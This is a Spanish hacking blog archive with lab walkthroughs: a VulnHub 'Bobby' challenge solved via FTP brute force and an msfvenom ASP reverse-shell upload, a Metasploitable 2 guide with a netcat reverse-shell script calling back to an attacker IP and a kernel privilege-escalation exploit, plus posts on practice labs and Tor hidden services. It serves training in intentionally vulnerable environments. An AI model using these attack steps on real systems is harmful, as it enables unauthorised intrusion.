Mostrando entradas con la etiqueta VMware. Mostrar todas las entradas
Mostrando entradas con la etiqueta VMware. Mostrar todas las entradas

viernes, 10 de junio de 2016

Reto VulnHub: Bobby

Qué pasa hackers! Hoy vengo con ganas de traeros un reto de VulnHub. Para quien no lo conozca, VulnHub es una página donde pueden encontrarse diferentes recursos para practicar y aprender acerca de seguridad, administración y redes, muchas veces en forma de reto.

Estos retos te dan un objetivo, que en materias de seguridad suele ser ganar acceso de root (o administrador) de sistema dentro de una máquina virtual, aunque puede ser otro objetivo, como el robo de información conseguir un flag o bandera, por poner ejemplos. En el caso que nos ocupa, es un reto de seguridad cuyo objetivo es conseguir dicho flag.

Un flag o bandera es normalmente un fichero, dentro de la propia máquina (más o menos escondido), que podemos conseguir cumpliendo los objetivos y consiguiendo acceso a cierta parte del sistema de archivos de la misma. Este flag es la prueba de que hemos conseguido dichos objetivos; por decirlo de alguna forma, hemos superado la prueba. 

La máquina que trataremos es Bobby. Bobby es un pobre sujeto que ha decidido comenzar un blog personal alojado en su misma máquina, publicando algunos datos personales sin prestar demasiada atención a la seguridad de la misma antes de ponerla al alcance de cualquiera en Internet.

La fuente de dicha máquina puede encontrarse aquí. Para instalar la máquina necesitaremos un software de virtualización (yo utilizo VMware Workstation, otra opción es Virtual Box). En la página encontraremos un fichero ejecutable, que al ejecutarse abrirá una utilidad para generar una imagen de Windows XP Professional SP3 vulnerable, tomando como entrada una imagen normal de dicho sistema operativo.

Este método suele utilizarse en páginas como VulnHub; modifica un sistema operativo para asegurarse que al instalarse sea vulnerable de una u otra manera (abriendo puertos, instalando servicios de red, creando usuarios, etc.) sin tener que modificar nada en la máquina posteriormente.

Una vez instalada la máquina, tenemos un equipo XP vulnerable. En mi caso, suelo configurar todas las máquinas de prueba en modo de red NAT para que no sean accesibles desde el exterior, pero sí entre ellas.

Máquina XP de Bobby funcionando en Vmware Workstation
Podemos empezar realizando una exploración de los puertos y servicios de la máquina mediante Zenmap (o nmap). Puede hacerse en la máquina anfitrión o a través de cualquier otra máquina que tengamos virtualizada en la misma red NAT. En este caso utilizaré para las pruebas una máquina Kali Linux.

Primero tenemos que conocer la dirección IP de la máquina objetivo. Aunque normalmente podemos conocerla mediante un barrido IP con nmap o Zenmap, en la página donde conseguimos la máquina podemos ver que está configurada con la IP 192.168.1.11. Por ahorrarnos problemas de direccionamiento, estableceremos nuestra red NAT dentro de la misma subred (192.168.10/24).

Conociendo ya a priori la dirección IP del objetivo, ejecutamos un escaneo IP intenso con Zenmap. Puede hacerse de forma similar en nmap, pero así tenemos resultados más visuales.

Reporte de Zenmap
Vemos ya que hay dos servicios abiertos: un servicio web tipo IIS (servidor web de Microsoft) y un servicio FTP. Ya tenemos por dónde empezar a explorar. Si accedemos al servicio mediante el explorador web, nos encontraremos un blog personal que Bobby acaba de empezar, con algunos datos acerca de su persona: su película favorita, su grupo favorito y su sistema operativo preferido.

El blog de Bobby
Siempre que nos encontremos una página web, se debería echar un vistazo al código fuente de la misma en búsqueda de pistas acerca de su naturaleza, comentarios del autor, etc. La experiencia puede decirnos que, al ser una página muy simple, probablemente programada puramente a mano, haya anotaciones y comentarios en el HTML. Efectivamente, podemos ver uno interesante.

Comentario en el código fuente
Al parecer, Bobby prefiere que le llamen Bobby, y no Bob o Robert. Este tipo de datos siempre vienen bien a la hora de recolectar información; al usuario de este sistema se le llama de tres maneras, que bien pueden ser su nombre de usuario o parte de él. Lo anotaremos para luego.

Podemos seguir explorando un poco el servicio web. Para ello podemos contar con herramientas como Nikto o WhatWeb, que realizan una serie de comprobaciones automáticas sobre el servidor web y nos arrojan datos muy valiosos acerca del mismo. Ambas herramientas se encuentran dentro de Kali Linux, pero son descargables para otras distribuciones.

Salida de Nikto sobre el servicio web
Salida de WhatWeb sobre el servicio web
Algunos datos interesantes que tenemos sobre el servicio es que es un Microsoft IIS versión 5.1 (desactualizado), y que tiene habilitados los métodos PUT y TRACE, que son considerados muy inseguros. Es sobre todo interesante este primer método, ya que nos permite subir archivos al servidor web. Además, no se ha borrado la página /localstart.asp, incluida de forma predeterminada en servidores IIS antiguos como este.

Tras una breve exploración al servicio web, comprobamos que podemos conectarnos al servicio FTP mediante una simple sesión de consola. Pero, ¿cual es el usuario y la contraseña? En este punto es interesante probar un ataque de fuerza bruta mediante diccionario sobre el servicio FTP.

Para ello, necesitamos dos diccionarios: uno para los nombres de usuario, dado que no conocemos ninguno, y otro para las contraseñas. Para el primero, podemos intentar con uno bastante simple hecho a mano, contando con los posibles nombres de Bobby: Bobby, Bob y Robert.

Lista/diccionario corto de usuarios
Los introduciremos con la primera letra tanto en mayúscula como en minúscula, solo por si acaso. Si estos usuarios no resultan, habría que probar otras opciones más avanzadas; de momento, mantengámoslo simple.

Para el diccionario de contraseñas, utilizaremos la herramienta cewl, incluida dentro de Kali Linux. Dicha herramienta lee una página web y crea un diccionario simple a partir de las palabras que encuentra en ella. Aunque no distingue mayúsculas y minúsculas, siendo el resultado un diccionario muy simple y algo inexacto, suele ser un buen punto sobre el que empezar.

Diccionario de contraseñas generado por cewl
Para el ataque por fuerza bruta mi primera opción suele ser siempre THC Hydra, incluida también en Kali Linux con una interfaz gráfica (Hydra GTK). La configuración del ataque es bastante sencilla, simplemente introduciendo la IP objetivo, el protocolo para el ataque (FTP) y los diccionarios de usuarios y contraseñas.

El resultado aparece enseguida; hemos tenido suerte. El usuario es bob, la contraseña es Matrix. ¡Hay que proteger más los servicios, hombre!

Resultado del bruteforce
Mediante una sesión de consola, podemos acceder al servicio FTP utilizando estos credenciales. ¡Bingo! Además, nos ha tocado la lotería: tenemos acceso al directorio wwwroot que contiene las páginas web accesibles mediante el servicio IIS.

Tachán, acceso al FTP via consola
Como pequeña prueba para comprobar nuestros permisos, nos introduciremos en el directorio wwwroot e intentaremos crear un directorio llamado owned para la ocasión. Efectivamente, podemos hacerlo, así que tenemos permisos de escritura sobre el directorio raíz del servicio web. Algo preocupantemente peligroso para la víctima porque, como veremos ahora, podemos vulnerar el servicio subiendo un backdoor.

Comprobamos que tenemos permisos de escritura
Al parecer, también se ha dejado una pequeña pista en el archivo hint.html que encontramos en el directorio raíz del servicio web. Tras descargarlo, podemos ver que íbamos bien encaminados:

Pequeña pista para la explotación
Ahora podemos entrar en la fase más jugosa: la explotación. Dado que podemos subir ficheros al directorio web, una buena opción es subir en el equipo víctima un backdoor o puerta trasera que al ser accedido se conecte a nuestra máquina, proporcionando acceso completo a la víctima.

El backdoor deberá ser activado mediante el servicio web; para ello, tendrá que tener un formato de página web. Sabemos que el servidor es un Microsoft IIS con tecnología ASP, así que tendrá que ser un código ejecutable en dicho entorno.

Metasploit Framework, que podemos encontrar también en Kali Linux, nos proporciona herramientas para crear backdoors de estas características. Utilizaremos la herramienta msfvenom que nos proporciona Metasploit para esta tarea.

En este caso, msfvenom creará una página tipo ASP que, al ser accedida, realizará una conexión a nuestro equipo (lo que se conoce como conexión inversa, dado que es la víctima la que se conecta a nosotros) y ejecutará el payload Meterpreter, proporcionándonos una interfaz de acceso completa e interactiva con la víctima en forma de comandos.

El primer paso será crear el propio backdoor. Puede hacerse de manera muy sencilla con msfvenom en una consola de Kali Linux. Hay que prestar especial atención a las opciones que le indicamos, que deberán proporcionar información sobre el equipo víctima a la herramienta, como la arquitectura (x86), familia del sistema operativo (Windows) y sobre nuestro equipo, indicando la IP y el puerto a la escucha al que se conectará el backdoor.


Creación del backdoor
Acto seguido dejaremos a la escucha en nuestro equipo un handler de Metasploit que recibirá la conexión desde el equipo víctima. Para no tener que desplegar todo el framework, lo haremos mediante la utilidad msfcli, que simplemente ejecuta el handler de forma directa. Tendremos que especificar, nuestra IP y puerto que queremos a la escucha, así como el payload que se ejecutará.

Handler para la conexión

Por último, subiremos al equipo víctima el archivo ASP que ejecutará el backdoor, haciendo uso de nuestra conexión FTP. La transferencia se realiza con éxito.

Subida del backdoor a la víctima
 Solo queda ir a un explorador web, ejecutar el backdoor, y cruzar los dedos...

Sesión de Meterpreter abierta
¡El ataque ha tenido éxito! En el handler que dejamos a la escucha tenemos un intérprete Meterpreter funcionando con permisos de sistema. Hemos conseguido acceso total a la máquina. Dado que el objetivo era conseguir un flag como prueba de nuestro éxito, abriremos un intérprete de comandos de Windows con nuestra conexión Meterpreter para buscarla. La encontraremos en el escritorio del usuario Administrator.

Flag o secreto de la máquina
 Con esto, el reto queda terminado y superado. Espero que os haya gustado el desafío. Para cualquier duda o reclamación, dejad un comentario e intentaré responder lo mejor que pueda. Gracias por leer.

Un saludo!
hartek

viernes, 25 de marzo de 2016

Entornos de pruebas: ¿Cómo practico mi hacking?

Buenas hackers! La intención de la entrada de hoy es daros algunas pautas a la hora de practicar y experimentar en ciberseguridad.

Nuestro campo es tan extenso y experimenta una evolución tan constante que es necesario practicar y experimentar lo máximo posible para mantenerse al día y mantener las garras afiladas. ¿Cómo podemos realizar nuestras prácticas de forma segura y manteniendo nuestra economía dentro de los límites razonables?

Seamos sinceros: a todos nos gustaría tener un equipamiento digno de la nave de Matrix y practicar en un entorno de máquinas reales. Sin embargo, esto no suele ser posible para la mayoría de la gente. Además, en materias de ciberseguridad a veces querremos hacer cosas que pueden comprometer la integridad de nuestro material; no nos gustaría fundir sin querer los datos de un disco duro real en el que tengamos fotos de las vacaciones.

Y sin embargo, realmente necesitamos la interacción entre máquinas para poder aprender.  La primera y normalmente mejor opción para ello son las máquinas virtuales.

Máquinas virtuales

Una máquina virtual, a grandes rasgos, es un sofware que permite ejecutar programas y sistemas operativos como si fuese una máquina de verdad. Dentro de una máquina virtual, en nuestro contexto, tendremos instalado un sistema operativo, igual o diferente al de nuestra máquina real, ejecutándose de forma independiente sobre el real, como si de un programa cualquiera se tratase. 

Los softwares de virtualización más conocidos son VirtualBox y VMware. No entraremos demasiado en las ventajas y desventajas de cada uno; los dos nos pueden servir perfectamente para alojar nuestras máquinas virtuales. 

Podemos configurar nuestras máquinas virtuales de múltiples formas para atender nuestras necesidades, asignando más o menos recursos en función de la potencia que tengamos disponible. Aunque no es necesario tener un equipo de última generación para ejecutar MVs, hay que tener en cuenta que si no les asignamos recursos suficientes podrían funcionar a una velocidad baja. 

La principal ventaja de las máquinas virtuales es que si las "rompemos" podemos recuperarlas fácilmente con una copia de seguridad, podemos clonarlas, reinstalarlas, etc. y todo ello sin comprometer en ningún momento nuestra máquina real. Podemos llevar a cabo auténticos ataques desde una máquina virtual a otra sin miedo a la pérdida de información o a dañar nuestro equipo. 

Las MVs pueden ser configuradas para funcionar en diferentes modos de red, siendo el modo puente y el modo NAT los más utilizados. Podemos ver fácilmente las posibilidades que nos brinda tener dentro de nuestro ordenador una red que a todas luces se comporta exactamente igual que una red real de dispositivos interconectados y funcionando. 

Aun siendo la opción más económica y asequible, a veces necesitaremos tener funcionando equipamiento real; por ejemplo, para practicar ataques a redes inalámbricas necesitaremos una red de pruebas. Para ello, suele bastar con una serie de equipamiento barato y asequible, y el componente más utilizado por su versatibilidad es la Raspberry Pi. 

Raspberry Pi

Este pequeño aparato es, en resumen, un ordenador en miniatura y con un precio considerablemente bajo. Lleva utilizándose años en multitud de proyectos de diversa índole, sobre todo en materia de educación y experimentación. 

El modelo actual, la Raspberry Pi 3, ronda los 45 euros y proporciona una potencia de computación bastante elevada para su precio, incluyendo además funcionalidad WiFi y Bluetooth sin necesidad de agregarle un periférico. El modelo anterior, la Raspberry Pi 2, ronda los 30 euros y también proporciona una buena potencia. El modelo antiguo era bastante más básico, pero aún puede encontrarse a un precio aún menor. 

La Raspberry Pi puede hacer prácticamente todo lo que cualquier ordenador, ejecutando un sistema operativo Linux de nuestra elección. Por ello, puede servirnos como objetivo simulado de un ataque, con la ventaja de que realmente estamos practicando con una máquina real, con sus pros y sus contras. 

Experimentando con la Raspberry Pi

Particularmente, me parece la mejor elección a la hora de llevar a cabo prácticas con redes inalámbricas (¡visita nuestras entradas de Aircrack-ng!), dado que puede configurarse de forma fácil para crear una red WiFi de diversos tipos utilizando el módulo inalámbrico incluido ya en los modelos más actuales o una antena externa en caso del modelo antiguo. 

Otras opciones

Aunque esas son las opciones más asequibles en términos de economía y recursos que utilizo, existen más alternativas. Por ejemplo, Amazon proporciona servicios de virtualización en la nube, que podríamos utilizar en caso de no tener la potencia necesaria en nuestro equipo para ejecutar entornos de varias máquinas virtuales. 

Sin embargo, hay que tener en cuenta los límites que hay que respetar; esas máquinas no pueden utilizarse para ningún fin ilícito, y la infraestructura que las ejecuta es compartida con otras máquinas. Podría haber complicaciones legales a la hora de realizar ciertas prácticas de hacking en esos entornos. 

Dicho esto, podemos terminar con la posibilidad de utilizar equipamiento real. Hay mucha gente que prefiere realizar siempre que es posible las prácticas con varios equipos físicos si dispone de ellos. Aunque comprendo las ventajas de utilizar máquinas reales, también hay que tener en cuenta las desventajas: puedes poner en riesgo dicho equipo si haces según qué cosas, y además, personalmente, encuentro mucho más cómoda la virtualización, dado que me proporciona un entorno de trabajo centralizado en un solo equipo. 

Hasta aquí la entrada de hoy. Espero que os haya gustado y os sirva para orientaros un poco a la hora de fabricar vuestro entorno de pruebas. 

Un saludo hackers!!
hartek

lunes, 29 de febrero de 2016

Creación de un Hidden Service de Tor


Antes de comenzar esta PoC, queremos recalcar que está realizada con fines educativos y, sobre todo éticos. Y no nos hacemos responsables del mal uso que puedan darle.


Vamos a montar un Hidden Service, es decir, un servidor con dominio .onion, aumentando así la privacidad y anonimato del servicio dado. Este tipo de dominio conforman lo que se conoce como red Tor, perteneciente a la Deep Web.


Para realizar esta PoC, montaremos un servidor web en un entorno virtualizado (no por ello falso, ya que aún virtualizado estará en la red y será accesible) sobre GNU/Linux Debian.


¿Qué es Tor?
Tor (The Onion Routing) es una red de nodos distribuidos por el mundo, en el que los paquetes viajan por los mismos antes de llegar a su destino, ofreciendo privacidad y sobre todo anonimato. Cada nodo por el que pasa un paquete es cifrado por capas (e ahí el nombre de Onion).


La red de Tor forma parte además de la conocida Deep Web, en la que el anonimato, como arma de doble filo, es tanto usada con fines éticos (librerías, tutoriales de todo tipo, prensa sin censura) como con fines delictivos (pedofilia, mercado negro, servicios ilegales).


Tras esta breve introducción a Tor, si deseas más información, te dejamos algunos enlaces que pueden serte de utilidad: Wikipedia, Tor Project, Cómo empezar a usar Tor, Cómo funiona Tor.


Instalación del servidor web (LAMP)
Comenzamos con la instalación del servidor LAMP en nuestro Debian. LAMP es el acrónimo dado a la infraestructura del servidor web conformado por las siguientes herramientas: Linux + Apache + MySQL + PHP (A veces, MySQL puede ser sustituido por MariaDB, y PHP por Perl o Python). No vamos a entrar en detalles sobre la instalación, ya que realizaremos una instalación básica sin configuraciones extra. Anteriormente en este blog explicamos algo parecido.
Como Instalar Apache Mysql PHP en Debian


El proceso es sencillo y no ahondaremos en configuraciones, por lo que únicamente instalaremos los paquetes necesarios y editaremos el contenido de la página.



# apt-get install apache2 php5 libapache2-mod-php5 php5-mcrypt mysql-server php5-mysql




Comprobamos  el correcto funcionamiento de nuestro servidor web (conectándonos a la IP del servidor desde un navegador):




Editamos el contenido de la página. Éste se encuentra en la ruta /var/www/html.






Ya tenemos nuestro servidor LAMP corriendo, es el momento de instalar Tor y anonimizarlo, así como obtener el dominio .onion. Cabe destacar que en esta prueba de concepto no contemplamos todos los aspectos de seguridad, por lo que no se debe asumir que siguiendo estos pasos tendremos un servidor completamente seguro y anónimo, para lograr esto, debemos contemplar otras medidas de seguridad en el servidor, tales como detectores de intrusos, VPN, proxys, hardening del servidor, etc.


Instalación de Tor en nuestro servidor Debian
Antes de instalar Tor es necesario instalar algunos paquetes que permiten el correcto funcionamiento e instalación de Tor, los cuales son:


# apt-get install screen build-essential libevent-dev openssl zlib1g-dev libssl-dev




Una vez instalados, instalamos Tor con el gestor de paquetes apt-get.




El archivo de configuración, donde definimos los hidden service, se encuentra en /etc/tor/torrc. Accedemos y añadimos las siguientes líneas al final:




El parámetro “HiddenServiceDir” indica la ruta donde se almacena el contenido de la página. Nosotros hemos creado una carpeta dentro de /root denominada tor, donde alojaremos el index.html y el resto de contenido dela página.


El parámetro “HiddenServicePort” indicamos el puerto por el que accederemos al servidor. Podéis poner el que queráis, en mi caso he usado el puerto 80 (por defecto). Si elegimos un puerto extraño, deberemos configurar el archivo de configuración de Apache para que responda al mismo puerto además del archivo /etc/apache2/ports.conf.


Una vez guardado los cambios, reiniciamos el servidor y reiniciamos tor.




Arrancamos el servidor Tor con el siguiente comando:




Una vez terminado, listamos el contenido de la carpeta que hemos seleccionado para almacenar el Hidden Service, y veremos dos nuevos archivos junto al index.html.




¿Qué son? “private_key” almacena la clave privada del servidor.




El fichero “hostname”, almacena el dominio asignado .onion:




Para finalizar, únicamente debemos descargar el navegador de Tor (o acceder con un navegador con soporte para Tor) y veremos nuestra página. Editando el contenido podéis crear una página dinámica para objetivo que queráis, aunque eso es otro tema. (repetimos que no nos hacemos responsable del mal uso que puedan darle, puesto que es sólo para fines educativos y éticos).

domingo, 21 de febrero de 2016

Guia Metasploitable 2: Parte 1

Hola amantes de la seguridad, ésta es la primera entrada, de varias, en las que veremos como explotar las diferentes vulnerabilidades de Metasploitable 2, con el fin de poner en práctica nuestros conocimientos en un entorno seguro.

Para los que no lo conozcáis, Metasploitable 2 es una distribución basada en Ubuntu, configurada intencionadamente con fallos de seguridad y puertos abiertos y asi tener un entorno seguro en el que practicar. Se puede descargar desde el siguiente enlace.

Por otro lado, utilizaremos Kali Linux 2 como máquina atacante.

Una vez descargado Metasploitable 2 y abierto mediante un software de virtualización como Vmware o VirtualBox, procederemos a pasarle un nmap para ver los puertos abiertos.



Como vemos, tenemos bastantes puertos abiertos para ir probando. Los iremos explotando en el mismo orden que aparecen en la captura.


PUERTO 21 VSFTPD  

En el puerto 21 tenemos corriendo vsftpd 2.3.4. Esta versión tiene un backdoor (puerta trasera) que se introdujo en el archivo vsftpd-2.3.4.tar.gz el 30 de Junio de 2011 y se retiró el 3 de Julio del mismo año después de que un usuario avisara al autor.

Para explotarlo, utilizaremos un exploit disponible en metasploit.



Aquí vemos una caputura de la shell obtenida con permisos root.


PUERTO 22 SSH 

 En el puerto 22 está corriendo OpenSSH 4.7p1. Si pasamos un escáner de vulnerabilidades como nessus u openvas, una de las vulnerabilidades nos indica que este servicio tiene los credenciales por defecto, siendo estos la palabra "user" tanto para el usuario como para la contraseña.



Asique aprovechamos ésta vulnerabilidad  para conectarnos. Una vez conectados, vamos a intentar obtener permisos root, para ello nos fijamos en la version del kernel de linux.



Al ser una versión antigua, existen exploits para escalar privilegios localmente. Vamos a usar el siguiente:


Descargamos el exoploit a nuestra máquina, para subirlo a la víctima, utilizaremos el apache. Metemos el archivo descargado en la carpeta /var/www/html/ y arrancamos apache. 


Ahora desde la consola con la conexión ssh, descargamos el exploit con el comando wget y lo compilamos.




El siguiente paso es ver el PID del proceso que utiliza la tarjeta de red para ejecutar nuestro exploit en el mismo proceso.


En este caso es el número 2701. Antes de ejecutar el exploit, vamos a crear un payload que conecte mediante netcat con nuestra máquina Kali cuando ejecutemos el exploit, obteniendo asi nuestra shell con privilegios root.

Creamos un archivo llamado "run" en la misma carpeta que el exploit con el siguiente contenido:

#!/bin/bash
/bin/netcat -e /bin/bash 192.168.0.190 4444

Ponemos la ip de Kali y el puerto que queramos.

Lo siguiente es abrir una nueva terminal en Kali y poner el netcat a la escucha en el mismo puerto que pusimos anteriormente en el payload: nc -l -p 4444.

Ya tenemos todo preparado, solo falta ejecutar el exploit (en el proceso 2701): ./8572 2701


Aquí tenemos una captura de la shell obtenida con privilegios root.


PUERTO 23 TELNET

Este puerto no tiene misterio ninguno puesto que nada mas conectarnos, nos aparece el siguiente mensaje.



Nos dice usuario y contraseña para el login, además el usuario msfadmin tiene permisos root asique no hay nada mas que hacer.



PUERTO 25 SMTP

Esta vez vamos a utilizar un auxiliar de metasploit para obtener nombres de usuario.





No podemos hacer mucho mas en este puerto. 


Hasta aquí la primera entrega, espero os guste y sea de ayuda. Recordar que está hecho solo con fines educativos y en un entorno controlado, no nos hacemos responsables de su mal uso.

Google Analytics